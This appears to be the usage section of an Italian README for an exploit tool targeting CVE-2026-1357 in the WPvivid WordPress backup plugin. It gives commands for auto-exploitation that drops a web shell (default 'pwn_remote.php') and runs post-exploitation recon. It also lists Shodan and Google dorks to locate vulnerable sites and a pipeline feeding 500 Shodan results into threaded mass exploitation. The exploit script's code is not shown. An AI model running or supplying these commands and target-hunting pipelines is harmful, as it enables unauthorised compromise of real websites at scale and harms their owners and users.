git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt

# Solo scansione (rileva WordPress + WPvivid + versione)
python3 cve_2026_1357.py -u http://target.com

# Scansione + Exploit + Post-Exploitation automatica
python3 cve_2026_1357.py -u http://target.com --exploit

# Exploit senza ricognizione post-exploitation
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# Scansione di massa con report
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# Tramite proxy Burp
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# Solo modalità payload
python3 cve_2026_1357.py -u http://x --payload-only

-u, --url         URL del singolo target
-l, --list        File con URL (uno per riga)
--exploit         Abilita modalità di sfruttamento
--shell NAME      Nome file shell (default: pwn_remote.php)
--no-post         Salta ricognizione post-exploitation
--report          Genera report PoC in Markdown
--report-dir DIR  Directory di output del report
-t, --threads N   Thread concorrenti (default: 5)
--timeout SECS    Timeout richiesta (default: 10)
--proxy URL       Proxy HTTP per Burp
--payload-only    Stampa payload base64 ed esci

# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# Pipeline
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

CVE-2026-1357-poc/
├── cve_2026_1357.py    ← Strumento principale (scanner + exploiter + post-exploit)
├── dorks.md            ← Dorks Shodan/Google/Censys/FOFA/ZoomEye
├── requirements.txt    ← Dipendenze Python
├── .gitignore
└── README.md           ← Questo file